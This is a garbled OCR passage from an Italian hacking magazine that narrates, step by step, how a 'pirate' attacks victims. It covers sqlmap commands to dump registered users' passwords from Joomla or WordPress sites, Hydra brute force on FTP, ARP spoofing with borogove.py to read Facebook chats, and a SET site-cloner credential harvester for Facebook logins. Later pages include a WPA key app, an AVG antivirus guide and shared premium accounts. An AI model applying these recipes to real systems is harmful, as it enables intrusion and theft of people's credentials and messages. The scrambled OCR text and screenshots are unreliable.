con un clic sul pulsante Save. Può quindi chiude¬ 
re Wireshark. 



Capture Optlor 
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Inizia l’analisi dei dati 



Dopo aver sniffato il traffico di rete, per il pirata è giunto il momento di “tradurre” tutti i pacchetti 
criptati. Ecco come e cosa fa per leggere in chiaro e-mail, messaggi di Chat e cronologia Web. 



^ L’interprete dei dati 

■J j Per rendere leggibili i dati sniffati dalla rete, il pirata usa 
il tool Xplico. Per awiare la comoda interfaccia Web di 
gestione, raggiunge la voce xplico web gui presente nel menu 
Applications/ BackTrack/Information Gathering/Network 
Analysis/Network Traffic Analysis. 


* Xplico è operativo 

2 A questo punto, il pirata apre una nuova scheda del Ter- 
W minale e avvia Xplico lanciando il comando /etc/init.d/ 
xplico start seguito da Invio. Attende qualche secondo affinché 
il servizio venga correttamente eseguito e avvia il browser senza 
chiudere la finestra del Terminale. 




^ Accesso in corso 

3 | Il pirata digita http://localhost:9876 nella barra indiriz- 
zi di Firefox (preinstallato in BackTrack). Nell’interfaccia 
Web di Xplico decide di autenticarsi usando xplico come User- 
name e xplico come Password. Non gli rimane altro da fare che 
confermare con un clic su Login. 


^ Un caso da analizzare 

4 Appare quindi il menu principale dell'interfaccia Web di 
Xplico. Il pirata clicca sul pulsante New Case e, nella 
sezione Data Acquisition, sceglie l'opzione Uploading PCAP 
capute file/s. Assegna un nome al caso da analizzare e confer¬ 
ma la sua creazione con un clic su Create. 


UNOSNIFFER 

ALTERNATIVO 


Finora abbiamo visto 
come il pirata utilizza 
strumenti del calibro di 
KismetoWiresharkper 
sniffare tutto il traffico 
in transito su una rete. 
Tali software, grazie al¬ 
la presenza di un'inter¬ 
faccia grafica risultano 
alquanto semplici ed 
intuitivi. Ma, come al 
solito esiste qualcosa 
di alternativo che 
funziona direttamente 
da linea di comando. 
Stiamo parlando di 
Tcpdump, un ottimo 
snifferanch'esso inte¬ 
grato in BackTrack 5 
RI e comunque instal¬ 
labile su tutte le altre 
distribuzioni Linux. 
Nonostante sia privo di 
interfaccia grafica, il 
suo utilizzo è veramen¬ 
te semplice: al pirata 
basta infatti lanciare 
da Terminale il coman¬ 
do tcpdump per avviare 

10 sniffer che catturerà 
dunque tutto ciò che è 
in transito sull'interfac¬ 
cia ethO. Per affinare la 
sua opera, utilizzando 
magari l'interfaccia Wi- 
fi, il pirata scopre una 
completa lista delle 
opzioni disponibili con 

11 comando tcpdump 
-help. 



* Una nuova sessione 

5 j II pirata seleziona il caso appena creato e clicca sul pul- 
w sante New Session presente nel menu a lato dell’inter¬ 
faccia Web di Xplico. Fornisce un nome al processo (ad esem¬ 
pio, decodifica) e conferma con un clic su Create. Fatto questo, 
accede alla sessione appena creata. 


^ I dati sono in chiaro! 


0 II pirata si sposta in Pcap sete preme Browse per cari- 
w care l’output restituito da Wireshark o Kismet. Conferma 
con Uploade attende che i pacchetti vengano decodificati. Ogni 
tipologia di dato acquisito viene inserito nella relativa categoria 
(Mail. Web. Chat. VOIPecc.). 


► 
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13 Siti Web sotto assedio 


Siamo sicuri che i nostri blog creati con Joomla e Wordpress siano al sicuro? Ecco come un pirata riesce ad ottenere 
l’elenco degli utenti registrati con le relative password di accesso. 


^ Application» r H 

^ A. 

'b Bnckltortc jptSx Information Gathering 

^ - % WfwnMItyAMtssmwl 

SunOct23. 7:31 AM 

■ # : • ■ 

■ «K Network Exploitation Tools 

* 

■1 Ofhce ► \ Privrleqe Esc asp auditor 

£5 V/f*b Explcrrtatton tbols 


n 

^5 Oatabaoe E«pio*f.«>ùM Toc . 

- 

Sornd St Video • [ r<j ^ flmep 

^ Wireless Exploitation Tbols 

- 

V > Wine • RFIOlbois ’b OJCimer 

% -"X iai Engineering Tbols 

• 

O 

<tK Open Soutcc Exploitation 

► 

Fo*ensics "b sqlmap 
. I Rr oorting To *b sr.-.n.iu.. 

□ 






Un tool tuttofare 


■| Da Applications, il pirata si sposta in BackTrack/Exploitation Tools/ 
mJ Web Exploitation Tools e awia il programma sqlmap Ricerca poi sul 
Web il bersaglio da attaccare accedendo ad una pagina interna del sito il cui 
indirizzo abbia una sintassi del tipo “,php?id=”. 


Ecco i database 

Il pirata digita quindi nel Terminale il comando python sqlmap.py 
-u URL_bersaglio —dbs seguito da Invio per ricercare l’elenco dei 
database che compongono il sito Web. L’operazione dura diversi minuti ed è 
fortemente legata alla grandezza del bersaglio prescelto. 


> « (MotSì 




SunOct 23, 7:55 AM 


| ' v * root@root: /pentest/database'sqlmap 

I File EtSt View Trinai Help 

[rcotgroct:-* cd /pentest/database/sqlaap/ 

Irootfjroot /pentest’database/sqlaap» python sqlcap py u «~»r~rVaift. 

* A* D -tables 

sqlaap/1.8 dcv (r4086| ■ autowatic SOI lnjection and database tak^y^ tool 
http://sqlaap.sotirceforqe.net 

|(M Legai Oisclaimer: usage of sqlmap for attacking web server» vilibut prior aJ 
Itudl consent can be considered as an illegal activlty. lt »s thè fina! user's rd 
Isponsibility to oòey all applicatole locai, state and federai laws. authors assuaL 
le no liability and are not responsive for any aisuse or daaage catised by this pi 
Irograa. I 

Il• 1 starti^ a\y*1:11: 2& ff' [ 






Le tabelle coni dati 


Ma il pirata può andare anche più a fondo, scoprendo quali tabelle 
compongono il database. Per farlo, lancia il comando python sqlmap. 
py -u URL_bersaglio -D Nome_ Database -tables. Anche in questo caso la 
durata del processo dipende dalla grandezza del database. 


^ Application Piaces System f 


SunOct23. 8 08AM ^ 


Informazioni riservate 

Per il pirata è giunto il momento di scoprire il nome delle colonne 


contenute nelle tabelle appena visualizzate. Per farlo, digita quindi 
il comando python sqlmap.py -u URL_bersaglio -D Nome_Database -T 
Nome_ Tabella -columnse attende che sqlmap dia un risultato. 


^ Applications Piaces 


SunOct 23. 8:16AM £ 


; * * root iroot: /pentestdatabase/sqlmap 

instati I file Ecftt View Terminal Help 

IParaeetcr: id 

; Type: boolean-based blind —■—~— 

Title: ANO boolcan based blind MffRF or HAVING 
I Payload: id=6 and 2851^2851 

I 


ivin gTu?^ 


1(08 06:08) (INFO) moiibI usage of GET payloads requires ur#encodii»g "? 
1(88:06:081 (INFO) thè back end DBMS ts KySQL 

|wet> application technology: Apache 1.3.42, PHP 4.4.7 
■back end DBMS: KySQL a 

1(88:66:661 ({«tOR) Inforwation schema noi avallatole, baci end DBMS js KySQL < V 

JdP'Vou JTV.T fu iter cbapbn dlKmr.s (hèclff^vf|/q) V 

1(88:96:65! (INFO! check! ng calumi» existcnce uslng itrms fro» /pentcst/database/ 
Isqleap/txt/comron- coluans.txt’ 

Inlease enter nn-itui ut rhirads’ tintei fm 1 (nirronfi! 1 


i * * root'i'root: pentest database sqlmap 

I file Edlt Yirw Terminal tfeip 

■ [68:14:171 (INFOI thè back-end DflHS ìs MySQL 

Iwefc application technology: Apache 1.3.42. PHP 
Iback-end 06KS; MySQL 4 _ 

1(08:14:171 (IRRORI infomation schema not avatfablc. ‘••-‘•Ir 3 r ' nMC 1S KySOl < S 

|(68:14:17| ( INFO] fetchinq coluan(s) 'usernaae, fassmord. j id. «tiTte^l^cics for 
I table 'user' on database ' 

1(08:14:17} (INFOI fetchinq rusrber of columnfs) 'username. pafs*<ord. id, titTO' c 
Intries for table 'user' on database * 

1(08:14:171 (INFO) read fro* file /pentest/database/sqlra^/outpui/iavw. 
Is.coe/session : 2 

1(68:14:17) (INfO) retrieving .thè leggth of query output , 

1(68:14:17] jwifrflHlGl nmninq an a slnglqrth.read mode., please consider usage of ■ 
I Ihf^ads-csptloh io deci are iiighei nair.be f of threads' 
i| 08: 14 : 17) fINFO] retrleved: sqlmap qot a 18? redlffcct to| http://».vw. 
lant to follo* redireets troni now on (or stay on thè originai page)? [Y/n] n 


^ Ancora più a fondo 

g | A questo punto, il pirata digita python sqlmap.py -u URL_bersaglio 
V—/ -D Nome_Database -TNome_Tabella -CNome_Colonna -dump 
per visualizzare in chiaro tutti gli indici di una precisa colonna (ad esempio, 
quella che contiene gli id degli utenti che accedono al sito). 


I dati di accesso sono qui 

Al pirata non rimane altro da fare che impartire il comando python 
sqlmap.py -u URL_bersaglio -D Nome_Database -T Tabella_user 
-C Colonna_username (oppure Colonna_ passwd) -dump e visualizzare 
l’elenco completo contenente tutti i dati degli utenti registrati al sito! 
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FILE SYSTEM E SERVER FTP SONO A RISCHIO 


Come abbiamo visto nel Macropasso D, gra¬ 
zie a BackTrack il pirata riesce facilmente ad 
accedere a un sistema remoto.Tra i comandi a 
disposizione del malintenzionato (vedi Passo 
D5), ce ne sono alcuni relativi al controllo del 
file system. Digitando, ad esempio, il comando 
CD, riesce a spostarsi tra le cartelle dell'hard disk 
del malcapitato, mentre con LS ne visualizza 
il contenuto. 

Il software per scardinare l'FTP 

Fra le varie tecniche utilizzate dai pirati per 
entrare in possesso dei nostri file, lo sniffing è 
senza ombra di dubbio quello più completo, 
proprio perché ogni protocollo viene analizzato. 
Ma se l'obiettivo del malintenzionato è quello 
di scovare i nostri dati di accesso ad un server 
FTP, tutto diviene magicamente più semplice 
e, con un po'di fortuna, più breve. 

Grazie al software Flydra (anch'esso inte¬ 
grato in BackTrack 5 RI) il pirata riesce a 
sferrare un attacco di tipo brute force 
al server FTP, scoprendo la chiave di 
accesso di un preciso nome utente. 

Appare evidente però che, almeno 
in questo caso, la lunghezza e la 


difficoltà della password concorrono alla ga¬ 
ranzia di maggiore sicurezza. Tutto sta anche 
alla ricchezza del dizionario utilizzato dal pirata. 
Negli attacchi di tipo brute force, infatti, non si 
fa altro che tentare numerose chiavi di accesso 
fino a beccare eventualmente quella corretta. 
Ma, con una breve ricerca sul Web, il pirata è 
in grado di scaricare un dizionario molto ben 
nutrito contenente migliaia se non milioni di 
combinazioni fra lettere e numeri differenti. 
Come si utilizza Hydra? Dopo aver avviato il 
Terminale, al pirata non resta che digitare il 
comando hydra -I username_vittima -p dizio¬ 
nario -f -Mindirizzo_server ftp. Il processo ha 
durata variabile ed è fortemente dipendente 
dalla qualità del dizionario e dalla complessità 
della password utilizzata dalla vittima. 


D Chat di Facebook in chiaro 


I nostri dati di accesso al social network non sono gli unici ad essere in pericolo. I pirati sono in grado di leggere 
anche le nostre conversazioni e per farlo devono semplicemente usare uno script pronto all’uso. 



Lo script fondamentale 

■J Dopo aver awiato BackTrack (Macropas¬ 
so A), il pirata si collega a Internet e awia 
il browser Firefox dal menu Applications/lnternet. 
Ricerca quindi direttamente su Google lo script 
borogove.py e ne awia il download. Decide di 
salvare il file nella Home del sistema. 



La giusta sintassi 

2 | Al termine del download, il pirata apre il 
file appena scaricato utilizzando un editor 
di testo (ad esempio, Gedit) per scoprirne la sin¬ 
tassi d’uso. Dovrà infatti indicare l'interfaccia uti¬ 
lizzata (Ethernet o Wi-Fi), l'indirizzo IP da colpire 
e il Gateway della LAN. 



Script in azione! 

A questo punto, non deve fare altro che 
awiare una nuova sessione del Terminale 
e far partire lo script (nel caso in esempio, python 
borogove.py ethO 192.168.1.12 192.168.1.1). 
Tutte le eventuali conversazioni su Facebook della 
vittima verranno mostrate in chiaro. ► 
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f* Pirati del PC 


Hacker il disco segreto 



SITE CLONER 

Usando questa opzione 
del programma set, il 
pirata attua un attacco 
di tipo ARP, ovvero 
intercetta le richieste 
di un dient per dirot¬ 
tarle su un altro host (in 
questo caso, il suo com¬ 
puter). Cosi facendo, 
riesce a reindirizzare 
la vittima sulla pagina 
di login clonata di Fa- 
cebook. 

GEDIT 

Si tratta di un editor 
di testo non format¬ 
tato (cioè privo delle 
formattazioni tipiche 
che è possibile aggiun¬ 
gere, ad esempio, con 
Word: allineamento, 
paragrafo, interlinea 
ecc.) integrato in molte 
distribuzioni Linux. 

GATEWAY 

Permette di dirottare i 
pacchetti in arrivo dal 
Web verso la rete inter¬ 
na. Generalmente, il 
suo indirizzo corrispon¬ 
de con i'IP del router. 

Un pirata che dovesse 
riuscire a prendere il 
controllo dei gateway 
riuscirebbe, ovviamen¬ 
te, a monitorare tutto 
il traffico di una rete 
locale. 


D Entrare nel profilo Facebook 


nno , ln 0 r,!l e Il n N S ' m ?. t001 ha c king integrato in BackTrack Linux, il pirata riesce a creare 
una copia della schermata di accesso al social network per rubare i nostri dati personali. 
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Attacchi psicologici 


Dopo aver avviato BackTrack (Macropasso A), il pirata 
si sposta nella sezione BackTrack del menu Applica¬ 
tions. Da Exploitation Tools/Social Engineering Tools/Social 
Engineering Toolkit apre lo strumento che fa al caso suo: stia¬ 
mo parlando di Set (Macropasso C). 


L’attacco arriva dal Web 


2 Per il pirata è arrivato il momento di scegliere che tipo di 
attacco sferrare: le opzioni fornite da set sono veramen¬ 


te tante ma, poiché ha deciso di clonare un sito Web, digita 2 
per scegliere un Website Attack Vectors. Prosegue quindi pre¬ 
mendo il tasto Invio. 



Furto di dati 

Ecco un punto cruciale della sua opera di attacco: il pira¬ 
ta digita 3 e conferma con Invio per scegliere l’opzione 
Credential Harvester Attack Method: così facendo, il clone di 
Facebook sarà in grado di fornire al pirata le credenziali di acces¬ 
so digitate dalla vittima. 


La clonazione ha inizio 

Al pirata non resta che digitare 2 e confermare ancora 
una volta la scelta premendo Invio. Così facendo, sce¬ 
glierà l’opzione Site Cloner di set mediante la quale il software 
si occuperà di clonare l’intero contenuto di una pagina Web che 
a breve il pirata indicherà. 



Il sito è preso di mira 

A questo punto, set chiede al pirata di immettere 


'URL 


del sito Web da clonare. Digita quindi https://www.face- 
book.com e conferma premendo Invio. L’operazione dura diversi 
secondi durante i quali l’intero codice della home page di Face¬ 
book viene scaricato sul PC. 


Password in chiaro! 

Qualsiasi computer connesso alla rete locale che tenta 
di accedere a Facebook visualizza quindi il clone appena 
creato dal pirata. Ma la vittima, ignara di tutto, digita i suoi dati 
di accesso per la gioia del pirata che li vede in chiaro diretta- 
mente sul Terminale. i 
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WPA Tester 


Pirati del PC 


Usiamo ali strumenti dei Dirati oer testare la sicurezza 

Cosa ci 

delle reti wireless. 1 malintenzionati sono avvisati! 

occorre 3/ 

TESTER WI-FI 

WPA Tester 

Scaricabile da: 

www.winmagazine.it/ 

link/1145 

R 

el 

tei 

lAfi-l 

Fi 


a prova di hacker 


C ome sanno bene tutti coloro che 
accedono a Internet usando una 
rete senza fili, al pirata bastano re¬ 
almente pochi secondi per intrufolarsi in 
una LAN e, nella migliore delle ipotesi, 
navigare a scrocco. Ma potrebbe anche 


accedere ai file e alle risorse condivise, 
invadendo la nostra privacy. È arrivato 
però il momento di difendersi e, usando 
gli stessi strumenti del pirata, verificare 
il grado di sicurezza della rete Wi-Fi do¬ 
mestica. Per farlo, ci basterà installare 


una semplice app sul nostro smartphone 
Android: in pochi passaggi potremo co¬ 
sì verificare se la chiave WPA restituita 
è corretta e sufficientemente "robusta". 
Cos’altro aspettiamo? Installiamo WPA 
Tester sul telefonino! 



• .,!! • 11:36 



Wpa Tester 


Installare questa applicazione? 


Consenti all’applicazione: 



Download dell'ano 

L’app che fa al caso nostro non è presente nel 
Market ufficiale Android. Avviamo dunque dal 
PC il nostro browser preferito e raggiungiamo 
l’indirizzo www.winmagazine.it/link/1 1 45perscaricare 
il file Wpa-Tester.apk. Trasferiamolo poi nella memoria 
interna dello smartphone. 


Installazione in corso 

Utilizzando il file manager integrato nel nostro 
telefonino, raggiungiamo il percorso nel quale 
abbiamo memorizzato il file APK scaricato al 
passo precedente e apriamolo con un singolo tap. Con¬ 
fermiamo l'installazione di WPA Tester con Installa e 
successivamente con Fine. 


Scansione delle reti Wi-Fi 

0 Non ci resta che ricercare nel menu di Android 
l'applicazione appena installata e avviarla. 
Leggiamo con cura le condizioni d’uso dell'app 
e confermiamo tappando su Continua. A questo punto 
l'interfaccia Wi-Fi viene attivata visualizzando le reti 
disponibili nei paraggi. 


: H * -.1 * ”:37 

Lista WPA 

netbul314os2agy9h6fho04k 

Ìhmr0dfxc8wq3q1zcboxisma 

f2qb3j1grg2ryjuihhncp3du 



• 

u .Il • H:42 

Scan Mode 

Manual Mode 



Ecco la chiave! 

a Con un altro tap sulla voce corrispondente, 
selezioniamo la rete di nostro interesse e atten¬ 
diamo qualche secondo prima di visualizzare 
tutte le eventuali password associate. Verifichiamo 
dunque che tra i vari risultati proposti non sia presente 
quella del nostro router! 


Ricerca manuale 

WPA Tester permette di effettuare anche una 
ricerca manuale. Spostiamoci quindi nel tab 
Manual Mode, selezioniamo dal menu a ten¬ 
dina il produttore del router ADSL e inseriamo nell’ap¬ 
posito campo di testo l'SSID della nostra rete Wi-Fi. 
Confermiamo con un tap su Calcola. 


C’è pure la Vodafone Station! 

a L’elenco dei router che possiamo testare è 
veramente ben nutrito. Se siamo in possesso 
di unaVodafoneStation, selezioniamo dal menu 
a tendina presente in Manual Mode l’opzione Vodafone 
e inseriamo l’SSID associato al router. Tappiamo Cal¬ 
cola e attendiamo il risultato. 
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C Pirati del PC 


Antivirus AVG 


I nuovi virus entrano nel telefonino e ti prosciugano 

la ricarica. Ecco l’app giusta per mettersi al sicuro 


SMS e app 
“azzera credito” 


Cosaci 

occorre 

SOFTWARE ANTMRUS 
PER DISPOSITIVI 
ANDROID 

ANT1VIRUS AVG 
miiwmmiwì 

Sito Internet: httpsV/ 
mariret.android.com 


L I incredibile diffusione dei nuovi sistemi 
* operativi mobile, Android primo fra tutti, 
I ha fatto sì che i pirati perfezionassero le 
loro conoscenze in modo da creare nuovi virus 
da diffondere poi sui moderni smartphone. Ed 
è così che il nostro fedele telefonino potrebbe 
essere magari già infetto comunicando ogni 


nostra mossa al pirata di turno che addirittura 
arriverebbe rubare tutte le password che digi¬ 
tiamo. Come è possibile difendersi? Sul Market 
è possiamo trovare decine di software antivirus 
a pagamento e non che svolgono egregiamente 
il loro lavoro. Fra questi AVG sembra essere il 
più completo: non solo offre una protezione 


a 360 gradi contro virus, malware o tentativi 
di phishing, ma è anche in grado di impedire 
l’accesso non autorizzato ad alcune delle appli¬ 
cazioni installate sul nostro telefonino. Cos'altro 
aspettiamo? Vediamo subito come installarlo 
ed effettuiamo una scansione approfondita del 
nostro telefonino Android. 


' u ..Il 66 16:16 


n 


Antivirus AVG gratuito 


AVG MOBILATION 


ntino@gmail.com 


Accetta e scarica 


AUTORIZZAZIONI 


I tuoi messaggi 

Lettura SMS o MMS, modifica SMS o 
MMS, ricezione SMS 


Tanti regali 

sul market 

H Verifichiamo, 
innanzitutto, che 
il nostro telefo¬ 
nino Android sia connes¬ 
so ad Internet. Quindi, 
accediamo al Market 
tappando sulla relativa 
icona. Dalla pagina prin¬ 
cipale, ricerchiamo l’app 
gratuita Antivirus AVG 
scrivendone il nome nel 
campo di ricerca. Tap¬ 
piamo quindi sul pulsan¬ 
te Scarica e successi¬ 
vamente confermiamo 
con Accetta e scarica. 



*3 “• « 16:16 

AVG Mobilation Antivirus 


Antivirus protegge il dispositivo 
in tempo reale 

Verifica le condizioni del servizio mobile 


Installazione 

dell’app 


Terminata la pro¬ 
cedura di downlo¬ 
ad e installazione 
(che dura solo pochi secon¬ 
di, ma dipende comunque 
dalla qualità del segnale 
Internet dello smartphone) 
ricerchiamo nel menu prin¬ 
cipale del nostro smart¬ 
phone l’applicazione appe¬ 
na installata e avviamola. 
Prendiamo visione delle 
condizioni d’uso del sof¬ 
tware e confermiamo con 
un semplice tap sul pul¬ 
sante Accetto. 


Scansione 

in corso 


Così facendo, 
apparirà l’inter¬ 
faccia grafica 
principale di AVG Anti¬ 
virus. Tappiamo sem¬ 
plicemente un punto 
qualsiasi dello schermo 
per avviare una prima 
scansione della memo¬ 
ria del telefonino. La 
durata dell’operazione 
dipende, ovviamente, 
dalla quantità di dati 
presenti nella memoria 
interna ed esterna del¬ 
lo smartphone. 



% Scansione... 

scansione contenuto 


Annulla 


Via le minacce! 

a Terminata la 
procedura di 
scansione del¬ 
la memoria, AVG Anti¬ 
virus ci mostra un qua¬ 
dro riassuntivo delle 
condizioni generali del 
sistema: tutte le even¬ 
tuali minacce individua¬ 
te vengono segnalate 
da una piccola croce 
rossa. Se, ad esempio, 
sono stati rivelati mes¬ 
saggi di posta elettro¬ 
nica con allegati sospet¬ 
ti, tappiamo sul pulsan- 
te Contrassegna. 


K '' 65 16:18 

Risultati scansione 


Avviso di sicurezza. Per i 
dettagli, fare clic di seguito 


0 j|j|jj[ Applicazioni 
© Impostazioni 


© Qt 


Contenuto 


Sono stati rilevati messaggi di testo sospetti. 
Talvolta i messaggi di testo sono utilizzati 
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| Antivirus AVG | 


Pirati del PC C* 



« 16:18 

Strumenti 

♦s 



Scanner di fife - Beta 

Sfoglia e sottoponi o scansione I file 


Disattivazione di attività 

Chiudi applicazioni inutilizzate 


__ Blocco di applicazioni - Prova 

Proteggi le applicazioni con una 
password scade tra 14 giorni 

Messa a punto - Beta 

Messa a punto - Beta 

Backup applicazioni - Prova 

Backup applicazioni installate scade tra 
14 giorni 




~Cancella dati personali - Beta 


Diritti 
al sodo 



Torniamo 

all'inter- 

facciaprin- 


cipale di AVG Anti¬ 
virus premendo il 
pulsante Indietro 
del telefonino. Pre- 
miamoiltastoMenu 
e spostiamoci in 
Strumenti : sele¬ 
zioniamo Scanner 
di file per effet¬ 
tuare una scan¬ 
sione approfondi¬ 
ta di uno o più 
elementi presenti 
in memoria. 



Scansione 

a pprotondita 

fi Dal menu a 
ri tendina che 
mM appare, indi¬ 
chiamo la directory 
da scansionare e suc¬ 
cessivamente sele¬ 
zioniamo con un sem¬ 
plice tap i file che 
riteniamo sospetti e 
pericolosi. Avviamo 
quindi il processo di 
scansione della memo¬ 
ria con un tap sul 
pulsante Scansione 
e attendiamo pazien¬ 
ti che ci venga comu¬ 
nicato il verdetto. 


Aggiornamenti 

automatici 


a Ritorniamo all’in¬ 
terfaccia prin¬ 
cipale di AVG 
Antivirus, premiamo il 
tasto Menu del nostro 
telefonino e, nella nuo¬ 
va schermata che appa¬ 
re, tappiamo sulla voce 
Impostazioni. Selezio¬ 
niamo quindi l’opzione 
Frequenza di aggior- 
namentoe scegliamo il 
valore Una volta a set¬ 
timana. Il software si 
aggiornerà automatica- 
mente allo scadere di 
ogni settimana. 



AVG avvia 

ìTcontroHo 

da solo! 


a Sempre nel 
menu Impo¬ 
stazioni 
tappiamo sulla voce 
Frequenza scan¬ 
sione automatica 
e selezioniamo l’op¬ 
zione Una volta al 
giorno. Così facen¬ 
do AVG eseguirà 
quotidianamente 
un controllo auto¬ 
matico dell’intero 
sistema e ci infor¬ 
merà di eventuali 
minacce. 




aviqa 

rotèn 


lare 


Navir 

pri 

ra Scorrendt 
ri verso iltes 
mmm so il meni 
Impostazioni, rag¬ 
giungiamo la voce 
Navigazione inter 
net sicura. Attivia¬ 
mola tappandoc 
sopra così da navi¬ 
gare più sicuri, cer¬ 
ti che AVG Antivirus 
sta attentamente 
vigilando su tutte 
le pagine aperte dal 
browser. Possiamo 
quindi tornare all'In¬ 
terfaccia principa¬ 
le dell’app. 


11 83 ^ -.1 16=26 

*"• Blocco di applicazioni ^ 


Per iniziare a utilizzare Blocco di 
applicazioni è necessario impostare 
una password. 


Password: 


Ridigitare la password: 


Digitare t'e-mail per il recupero 
della password (opzionale): 

vincosentino@gmail.com 

OK 


Applicazioni 

protette da 

password! 


M Premiamo il 
|7|J tasto Menu 
mmm sul nostro tele¬ 
fonino e, nella nuova 
schermata che appa¬ 
re, tappiamo sulla voce 
Strumenti. Selezio¬ 
niamo quindi l’opzione 
Blocco di applicazio¬ 
ni ed inseriamo una 
password a nostra 
scelta e confermiamo 
con OK. Indichiamo 
quindi le applicazioni 
da proteggere e con¬ 
fermiamo con Salva 
ed esci. 



SICURI ANCHE IN 
CASO DI FURTO 

AVG integra un sistema di 
controllo remoto del te¬ 
lefonino die, se attivato, 
consente di individuare 
la sua reale posizione. 

Per attivado avviamo 
l'app, premiamo il tasto 
Menu del telefonino e 
spostiamoci in Remoto. 
Tappiamo quindi su Regi¬ 
strazione e confermiamo 
il nostro indirizzo e-mail. 
Abilitiamo poi l'opzione 
Servizio di identificazio¬ 
ne. Da questo momento 
in poi d basterà raggiun¬ 
gere dal PC il sito Web 
www.avgmobilation. 
comeloggardconidati 
del nostro Google Account 
per vedere su cartina la 
posizione del telefonino. 

È Inoltre possibile bloc¬ 
carne l'uso o inviare un 
messaggio d'allarme. 

BACKUP 

COMPLETO 

Fra le funzionalità extra 
offerte da AVG troviamo 
anche un sistema di ba- 
ckup delle applicazioni 
installate sul nostro 
smartphone. Per effet¬ 
tuarlo, basta premere il 
tasto Menu del telefono 
e raggiungere la voce 
Strumenti. Da qui tap¬ 
piamo poi Backup appli¬ 
cazioni e selezioniamo 
quelle che vogliamo sal¬ 
vare. Confermiamo poi 
premendo il pulsante 
[segui il Backup ora. 

ATTENTI ALLE APP 
TRUFFALDINI 

Sia il market di Android 
che l'App Store sono 
ricchi di applicazioni 
per cellulare. Ma come 
riconoscere se un'app 
è davvero valida o 
nasconde in realtà una 
truffa? In primis leggen¬ 
do le recensioni degli 
utenti (più sono e me¬ 
glio è), poi verificando 
che siano presenti tante 
schermate e infine con¬ 
trollando la periodicità 
degli aggiornamenti 
(meglio evitare se sono 
superiori a sei mesi). 
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0 Pirati del PC 


Parliamo di... | Account Premium a costo ; 


Password in esclusiva 

chiaro con Gòógìe 

Sul Web circolano account premium “rubati” ai siti di file sharing. 
C’è chi li scova e li usa per entrare come “abbonato non pagante” 


N on è la prima e, molto probabilmente, 
non sarà neanche l’ultima volta che il 
mondo del file sharing viene stravolto 
da vicissitudini che si ripercuotono inevita¬ 
bilmente sulle abitudini degli utenti. Par¬ 
tendo dal pioneristico Napster, capostipite 
dell’attuale concezione di condivisione dei 
file, fino ad arrivare a The Pirate Bay, famo¬ 
so portale nonché database di file torrent, 
il file sharing si è adattato agli strumenti 
disponibili finché questi hanno cessato di 
esistere. La loro dipartita ha avuto sem¬ 
pre una causa comune; chiusura forzata 
imposta dalle autorità. Il perché è chiaro, 
contemporaneamente a file legittimi, le 
piattaforme erano utilizzate soprattutto 
per condividere migliaia e migliaia di file 
protetti da diritto d’autore, il che rappresen¬ 
ta un reato punibile con l’oscuramento del 
sito in determinate nazioni (come avviene 
in Italia per The Pirate Bay) o la chiusura 
totale con annesso azzeramento dei server, 
e quindi rimozione dei contenuti, legitti¬ 
mi e non, in essi archiviati, proprio com’è 
avvenuto per Megaupload. In seguito alla 
recente chiusura del popolare servizio di 
file hosting imposta dal Dipartimento di 


giustizia degli Stati Uniti, si è scatenato un 
terrore generale che ha coinvolto le aziende 
titolari di servizi analoghi. Cosi file hosting 
come FileServe, FileSonic o Filejungle, 
anch’essi utilizzati per condividere film, 
musica, serie TV e quant’altro, si sono, in 
un certo qual modo, defilati prima che 
l’FBI bussasse alla loro porta e, rivedendo 
le libertà concesse ai loro utenti, si sono 
trasformati in semplici servizi di cloud 
Storage che non consentono alcun tipo di 
condivisione. Tuttavia, il file hosting inteso 
come sinonimo di file sharing cova ancora 
sotto le ceneri di Megaupload & Co. 

Utenti di serie A e B 

Approfittando di questa situazione, mol¬ 
teplici altri servizi di file hosting fanno a 
gara per accaparrarsi i tanti utenti orfa¬ 
ni di Megaupload. Oltre a quelli che già 
esistevano, nelle ultime settimane sono 
nati decine di altri servizi che mettono 
i loro server a disposizione degli utenti 
che vogliono condividere i propri file. La 
filosofia adottata non si discosta da quella 
già collaudata dai file hosting pionieri del 
settore. L’offerta consiste in due tipologie 


di piani; Free e Pro. Nel primo caso, gli 
utenti non pagano nulla ma devono sot¬ 
tostare ai limiti imposti sulla dimensione 
massima dei file, inoltre, niente download 
simultanei, estenuanti tempi di attesa e 
inserimento di un codice CAPTCHA pri¬ 
ma di procedere al download. Gli account 
Pro, invece, a fronte di un abbonamento 
giornaliero, settimanale, mensile o annuo, 
non hanno di queste limitazioni e possono 
contare su tempi di download nettamente 
inferiori grazie alla banda a essi dedicata. 

Account premium condivisi 

Poiché i limiti non piacciono a nessuno, ma 
non tutti possono o vogliono pagare per 
l'acquisto di un abbonamento premium, gli 
utenti si sono organizzati dando vita a una 
nuova pratica, quella della condivisione 
degli account Pro. Le norme dei servizi di 
file hosting non vietano l’utilizzo condiviso 
degli account, e questo significa che un 
solo account a pagamento può tranquilla¬ 
mente essere utilizzato da più utenti. Ciò 
può avvenire in privato, ad esempio, più 
amici acquistano un abbonamento pre¬ 
mium condividendone spese e vantaggi, o 


STOP AL REDIRECTING E PUNTIAMO DRITTI AL CONTENUTO 


Alquanto discutibili nel metodo"forzato"di 
propinare la pubblicità agli utenti, servizi 
come il nuovo Adf.ly fanno guadagnare 
bei gruzzoletti ai gestori dei siti Web che 
scelgono di adottare tali strumenti. Si tratta 
essenzialmente di servizi per creare short 
link. I collegamenti conducono l'utente ad 
un sito contenente un annuncio pubblici¬ 
tario in cui, solo dopo aver atteso il termine 
del conto alla rovescia, un pulsante C Avanti) 
consente di passare all'effettiva pagina 
richiesta. Grazie all'utilizzo combinato di 
un add-on e uno script, però, è possibi¬ 
le bypassare questa seccatura. Lo script 
RedirectionHelper può essere impiegato 


sui browser Firefox e Chrome, ecco come. 
Avviamo Firefox, colleghiamoci all'indirizzo 
https://addons.mozilla.org/firefox/748/, 
clicchiamo su Aggiungi a Firefox (Installa) 
e riavviamo il browser. Nel caso di Chrome 
invece, puntiamo il browser alla pagina 
http://goo.gl/AoLz8 e clicchiamo su Ag¬ 
giungi (Installa). Ora non ci rimane che 
installare lo script raggiungendo la pagina 
www.userscripts.org/scripts/show/69797 
e cliccando su Instali. RedirectionHelper 
entrerà in azione quando cliccheremo su 
un link Adf.ly, saltando la pubblicità e con¬ 
ducendoci automaticamente alla pagina 
Web richiesta. 



Oggetti curiosi e stravaganti, prodotti innovativi, 
invenzioni geniali e idee regalo... 
tutti riuniti all'Interno di un unico sito! 


VISITA IL SITO 


L- - 


DottorGadget su 










Account Premium a costo zero | Parliamo di... 
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CHI ARRIVA PRIMA, 

Per trovare i dati di account premium 
